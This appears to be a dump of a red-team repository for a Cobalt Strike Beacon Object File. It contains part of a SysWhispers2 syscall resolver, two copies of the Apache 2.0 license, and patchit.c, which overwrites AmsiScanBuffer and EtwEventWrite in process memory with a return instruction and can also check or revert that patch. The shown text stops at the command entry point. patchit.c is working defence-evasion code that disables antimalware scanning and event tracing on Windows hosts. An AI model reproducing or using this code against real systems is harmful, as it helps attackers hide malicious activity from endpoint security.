1].Address; 194 | 195 | Entries[j + 1].Hash = TempEntry.Hash; 196 | Entries[j + 1].Address = TempEntry.Address; 197 | } 198 | } 199 | } 200 | 201 | return TRUE; 202 | } 203 | 204 | EXTERN_C DWORD SW2_GetSyscallNumber(DWORD FunctionHash) 205 | { 206 | if (!SW2_PopulateSyscallList()) 207 | { 208 | BeaconPrintf(CALLBACK_ERROR, 209 | "SW2_PopulateSyscallList failed\n" 210 | ); 211 | return -1; 212 | } 213 | 214 | for (DWORD i = 0; i < SW2_SyscallList.Count; i++) 215 | { 216 | if (FunctionHash == SW2_SyscallList.Entries[i].Hash) 217 | { 218 | return i; 219 | } 220 | } 221 | BeaconPrintf(CALLBACK_ERROR, 222 | "syscall with hash 0x%lx not found\n", 223 | FunctionHash 224 | ); 225 | 226 | return -1; 227 | } -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "[]" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright [yyyy] [name of copyright owner] 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | -------------------------------------------------------------------------------- /syscalls/LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "[]" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright [yyyy] [name of copyright owner] 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | -------------------------------------------------------------------------------- /patchit.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "beacon.h" 3 | 4 | #define NT_SUCCESS 0x00000000 5 | #define NtCurrentProcess() ( (HANDLE)(LONG_PTR) -1 ) 6 | 7 | //Import 8 | DECLSPEC_IMPORT WINBASEAPI HMODULE WINAPI KERNEL32$LoadLibraryA (LPCSTR); 9 | DECLSPEC_IMPORT WINBASEAPI HMODULE WINAPI KERNEL32$GetModuleHandleA (LPCSTR); 10 | DECLSPEC_IMPORT WINBASEAPI FARPROC WINAPI KERNEL32$GetProcAddress (HMODULE, LPCSTR); 11 | DECLSPEC_IMPORT WINBASEAPI int WINAPI MSVCRT$memcmp (void*, void*, size_t); 12 | DECLSPEC_IMPORT WINBASEAPI int WINAPI MSVCRT$memcpy (void*, void*, size_t); 13 | NTSYSAPI NTSTATUS NTAPI NTDLL$NtWriteVirtualMemory(HANDLE, PVOID, PVOID, ULONG, PULONG); 14 | NTSYSAPI NTSTATUS NTAPI NTDLL$NtProtectVirtualMemory(HANDLE, PVOID, PULONG, ULONG, PULONG); 15 | 16 | 17 | 18 | //Command 19 | #define check 1 20 | #define all 2 21 | #define amsi 3 22 | #define etw 4 23 | #define revertAll 5 24 | #define revertAmsi 6 25 | #define revertEtw 7 26 | 27 | 28 | BOOL loadedAMSI(){ 29 | 30 | HMODULE h_AMSI = KERNEL32$GetModuleHandleA("amsi.dll"); 31 | 32 | if(h_AMSI == NULL) 33 | { 34 | BeaconPrintf(CALLBACK_ERROR , "AMSI.DLL is not loaded in current process.\n"); 35 | return FALSE; 36 | } 37 | else 38 | { 39 | return TRUE; 40 | } 41 | } 42 | 43 | 44 | BOOL checkAMSI(){ 45 | 46 | unsigned char cleanAMSI[] = { 0x4C, 0x8B, 0xDC, 0x49, 0x89, 0x5B, 0x08, 0x49, 0x89, 0x6B, 0x10, 0x49, 0x89, 0x73, 0x18 }; 47 | 48 | HMODULE h_AMSI = KERNEL32$LoadLibraryA("amsi.dll"); 49 | 50 | if(h_AMSI == NULL) 51 | { 52 | BeaconPrintf(CALLBACK_ERROR , "Cannot load amsi.dll.\n"); 53 | return -1; 54 | } 55 | 56 | 57 | void* pAMSIaddress = (void*)KERNEL32$GetProcAddress(h_AMSI, "AmsiScanBuffer"); 58 | 59 | if(pAMSIaddress == NULL) 60 | { 61 | BeaconPrintf(CALLBACK_ERROR , "Cannot get AmsiScanBuffer address.\n"); 62 | return -1; 63 | } 64 | 65 | if (!MSVCRT$memcmp((void*)cleanAMSI, pAMSIaddress, sizeof(cleanAMSI))) //found clean bytes 66 | { 67 | return FALSE; 68 | 69 | } else 70 | { 71 | return TRUE; 72 | } 73 | 74 | } 75 | 76 | 77 | BOOL checkETW(){ 78 | 79 | unsigned char cleanETW[] = { 0x4C, 0x8B, 0xDC, 0x48, 0x83, 0xEC, 0x58, 0x4D, 0x89, 0x4B, 0xE8, 0x33, 0xC0 }; 80 | 81 | HMODULE h_NTDLL = KERNEL32$GetModuleHandleA("ntdll.dll"); 82 | 83 | if(h_NTDLL == NULL) 84 | { 85 | BeaconPrintf(CALLBACK_ERROR , "Cannot get ntdll.dll address.\n"); 86 | return -1; 87 | } 88 | 89 | void* pETWaddress = (void*)KERNEL32$GetProcAddress(h_NTDLL, "EtwEventWrite"); 90 | 91 | if(pETWaddress == NULL) 92 | { 93 | BeaconPrintf(CALLBACK_ERROR , "Cannot get EtwEventWrite address.\n"); 94 | return -1; 95 | } 96 | 97 | if (!MSVCRT$memcmp((PVOID)cleanETW, pETWaddress, sizeof(cleanETW))) //found clean bytes 98 | { 99 | return FALSE; 100 | 101 | } else 102 | { 103 | return TRUE; 104 | } 105 | 106 | 107 | } 108 | 109 | 110 | 111 | void patchitCheck(){ 112 | 113 | if (loadedAMSI()) 114 | { 115 | if(checkAMSI()) 116 | { 117 | BeaconPrintf(CALLBACK_OUTPUT , "[+] AmsiScanBuffer is patched.\n"); 118 | } 119 | else 120 | { 121 | BeaconPrintf(CALLBACK_OUTPUT , "[+] AmsiScanBuffer is NOT patched.\n"); 122 | } 123 | } 124 | 125 | 126 | if(checkETW()) 127 | { 128 | BeaconPrintf(CALLBACK_OUTPUT , "[+] EtwEventWrite is patched.\n"); 129 | } 130 | else 131 | { 132 | BeaconPrintf(CALLBACK_OUTPUT , "[+] EtwEventWrite is NOT patched.\n"); 133 | } 134 | } 135 | 136 | void patchitAMSI(){ 137 | 138 | BOOL patched = checkAMSI(); 139 | unsigned char amsiPatch[] = { 0xC3 }; 140 | ULONG OldProtection, NewProtection; 141 | SIZE_T uSize = sizeof(amsiPatch); 142 | NTSTATUS status; 143 | 144 | if (!patched) 145 | { 146 | 147 | void* pAMSIaddress = (void*)KERNEL32$GetProcAddress(KERNEL32$LoadLibraryA("amsi.dll"), "AmsiScanBuffer"); 148 | 149 | void* lpBaseAddress = pAMSIaddress; 150 | 151 | status = NTDLL$NtProtectVirtualMemory(NtCurrentProcess(), (PVOID)&lpBaseAddress, (PULONG)&uSize, PAGE_READWRITE, &OldProtection); 152 | 153 | if(status != NT_SUCCESS) 154 | { 155 | BeaconPrintf(CALLBACK_ERROR , "Failed to modify AmsiScanBuffer memory permission to READWRITE."); 156 | return; 157 | } 158 | 159 | 160 | status = NTDLL$NtWriteVirtualMemory(NtCurrentProcess(), pAMSIaddress, (PVOID)amsiPatch, sizeof(amsiPatch), NULL); 161 | if(status != NT_SUCCESS) 162 | { 163 | BeaconPrintf(CALLBACK_ERROR , "Failed to copy patch to AmsiScanBuffer."); 164 | return; 165 | } 166 | 167 | 168 | status = NTDLL$NtProtectVirtualMemory(NtCurrentProcess(), (PVOID)&lpBaseAddress, (PULONG)&uSize, OldProtection, &NewProtection); 169 | 170 | if(status != NT_SUCCESS) 171 | { 172 | BeaconPrintf(CALLBACK_ERROR, "Failed to modify AmsiScanBuffer memory permission to original state."); 173 | return; 174 | } 175 | 176 | //check again to see if above succeeded 177 | if(checkAMSI()) 178 | { 179 | BeaconPrintf(CALLBACK_OUTPUT , "[+] AmsiScanBuffer is patched.\n"); 180 | } 181 | else 182 | { 183 | BeaconPrintf(CALLBACK_OUTPUT , "[+] AmsiScanBuffer is NOT patched.\n"); 184 | } 185 | 186 | } 187 | else 188 | { 189 | 190 | BeaconPrintf(CALLBACK_OUTPUT , "[+] AmsiScanBuffer was already patched, I did nothing.\n"); 191 | } 192 | 193 | } 194 | 195 | void patchitETW(){ 196 | 197 | BOOL patched = checkETW(); 198 | unsigned char etwPatch[] = { 0xC3 }; 199 | ULONG OldProtection, NewProtection; 200 | SIZE_T uSize = sizeof(etwPatch); 201 | NTSTATUS status; 202 | 203 | 204 | if (!patched) 205 | { 206 | 207 | void* pETWaddress = (void*)KERNEL32$GetProcAddress(KERNEL32$GetModuleHandleA("ntdll.dll"), "EtwEventWrite"); 208 | 209 | void* lpBaseAddress = pETWaddress; 210 | 211 | status = NTDLL$NtProtectVirtualMemory(NtCurrentProcess(), (PVOID)&lpBaseAddress, (PULONG)&uSize, PAGE_READWRITE, &OldProtection); 212 | 213 | if(status != NT_SUCCESS) 214 | { 215 | BeaconPrintf(CALLBACK_ERROR , "Failed to modify EtwEventWrite memory permission to READWRITE."); 216 | return; 217 | } 218 | 219 | 220 | status = NTDLL$NtWriteVirtualMemory(NtCurrentProcess(), pETWaddress, (PVOID)etwPatch, sizeof(etwPatch), NULL); 221 | 222 | if(status != NT_SUCCESS) 223 | { 224 | BeaconPrintf(CALLBACK_ERROR , "Failed to copy patch to EtwEventWrite."); 225 | return; 226 | } 227 | 228 | status = NTDLL$NtProtectVirtualMemory(NtCurrentProcess(), (PVOID)&lpBaseAddress, (PULONG)&uSize, OldProtection, &NewProtection); 229 | 230 | if(status != NT_SUCCESS) 231 | { 232 | BeaconPrintf(CALLBACK_ERROR, "Failed to modify EtwEventWrite memory permission to original state."); 233 | return; 234 | } 235 | 236 | 237 | //check again to see if above succeeded 238 | if(checkETW()) 239 | { 240 | BeaconPrintf(CALLBACK_OUTPUT , "[+] EtwEventWrite is patched.\n"); 241 | } 242 | else 243 | { 244 | BeaconPrintf(CALLBACK_OUTPUT , "[+] EtwEventWrite is NOT patched.\n"); 245 | } 246 | 247 | } 248 | else 249 | { 250 | BeaconPrintf(CALLBACK_OUTPUT , "[+] EtwEventWrite was already patched, I did nothing.\n"); 251 | } 252 | 253 | } 254 | 255 | 256 | void patchitAll(){ 257 | patchitAMSI(); 258 | patchitETW(); 259 | } 260 | 261 | 262 | void revertAMSI(){ 263 | 264 | unsigned char cleanAMSI[] = { 0x4C, 0x8B, 0xDC, 0x49, 0x89, 0x5B, 0x08, 0x49, 0x89, 0x6B, 0x10, 0x49, 0x89, 0x73, 0x18 }; 265 | ULONG OldProtection, NewProtection; 266 | SIZE_T uSize = sizeof(cleanAMSI); 267 | NTSTATUS status; 268 | 269 | if(loadedAMSI()) 270 | { 271 | BOOL patched = checkAMSI(); 272 | 273 | if (patched) 274 | { 275 | 276 | void* pAMSIaddress = (void*)KERNEL32$GetProcAddress(KERNEL32$LoadLibraryA("amsi.dll"), "AmsiScanBuffer"); 277 | 278 | void* lpBaseAddress = pAMSIaddress; 279 | 280 | 281 | status = NTDLL$NtProtectVirtualMemory(NtCurrentProcess(), (PVOID)&lpBaseAddress, (PULONG)&uSize, PAGE_READWRITE, &OldProtection); 282 | 283 | if(status != NT_SUCCESS) 284 | { 285 | BeaconPrintf(CALLBACK_ERROR , "Failed to modify AmsiScanBuffer memory permission to READWRITE."); 286 | return; 287 | } 288 | 289 | 290 | status = NTDLL$NtWriteVirtualMemory(NtCurrentProcess(), pAMSIaddress, (PVOID)cleanAMSI, sizeof(cleanAMSI), NULL); 291 | 292 | if(status != NT_SUCCESS) 293 | { 294 | BeaconPrintf(CALLBACK_ERROR , "Failed to copy clean patch to AmsiScanBuffer."); 295 | return; 296 | } 297 | 298 | 299 | status = NTDLL$NtProtectVirtualMemory(NtCurrentProcess(), (PVOID)&lpBaseAddress, (PULONG)&uSize, OldProtection, &NewProtection); 300 | 301 | if(status != NT_SUCCESS) 302 | { 303 | BeaconPrintf(CALLBACK_ERROR, "Failed to modify AmsiScanBuffer memory permission to original state."); 304 | return; 305 | } 306 | 307 | //check again to see if above succeeded 308 | if(!checkAMSI()) 309 | { 310 | BeaconPrintf(CALLBACK_OUTPUT , "[+] AmsiScanBuffer is reverted to original.\n"); 311 | } 312 | else 313 | { 314 | BeaconPrintf(CALLBACK_ERROR , "Failed to revert AmsiScanBuffer."); 315 | } 316 | 317 | } 318 | else 319 | { 320 | 321 | BeaconPrintf(CALLBACK_OUTPUT , "[+] AmsiScanBuffer was clean, I did nothing.\n"); 322 | } 323 | } 324 | 325 | 326 | 327 | } 328 | 329 | void revertETW(){ 330 | 331 | BOOL patched = checkETW(); 332 | unsigned char cleanETW[] = { 0x4C, 0x8B, 0xDC, 0x48, 0x83, 0xEC, 0x58, 0x4D, 0x89, 0x4B, 0xE8, 0x33, 0xC0 }; 333 | ULONG OldProtection, NewProtection; 334 | SIZE_T uSize = sizeof(cleanETW); 335 | NTSTATUS status; 336 | 337 | if (patched) 338 | { 339 | 340 | void* pETWaddress = (void*)KERNEL32$GetProcAddress(KERNEL32$LoadLibraryA("ntdll.dll"), "EtwEventWrite"); 341 | 342 | void* lpBaseAddress = pETWaddress; 343 | 344 | status = NTDLL$NtProtectVirtualMemory(NtCurrentProcess(), (PVOID)&lpBaseAddress, (PULONG)&uSize, PAGE_READWRITE, &OldProtection); 345 | 346 | if(status != NT_SUCCESS) 347 | { 348 | BeaconPrintf(CALLBACK_ERROR , "Failed to modify EtwEventWrite memory permission to READWRITE."); 349 | return; 350 | } 351 | 352 | 353 | status = NTDLL$NtWriteVirtualMemory(NtCurrentProcess(), pETWaddress, (PVOID)cleanETW, sizeof(cleanETW), NULL); 354 | 355 | if(status != NT_SUCCESS) 356 | { 357 | BeaconPrintf(CALLBACK_ERROR , "Failed to copy clean patch to EtwEventWrite."); 358 | return; 359 | } 360 | 361 | 362 | status = NTDLL$NtProtectVirtualMemory(NtCurrentProcess(), (PVOID)&lpBaseAddress, (PULONG)&uSize, OldProtection, &NewProtection); 363 | 364 | if(status != NT_SUCCESS) 365 | { 366 | BeaconPrintf(CALLBACK_ERROR, "Failed to modify EtwEventWrite memory permission to original state."); 367 | return; 368 | } 369 | 370 | //check again to see if above succeeded 371 | if(!checkETW()) 372 | { 373 | BeaconPrintf(CALLBACK_OUTPUT , "[+] EtwEventWrite is reverted to original.\n"); 374 | } 375 | else 376 | { 377 | BeaconPrintf(CALLBACK_ERROR , "Failed to revert EtwEventWrite."); 378 | } 379 | 380 | } 381 | else 382 | { 383 | 384 | BeaconPrintf(CALLBACK_OUTPUT , "[+] EtwEventWrite was clean, I did nothing.\n"); 385 | } 386 | 387 | } 388 | 389 | 390 | void revertALL(){ 391 | revertAMSI(); 392 | revertETW(); 393 | } 394 | 395 | void go(char * args, int len) { 396 | 397 | datap 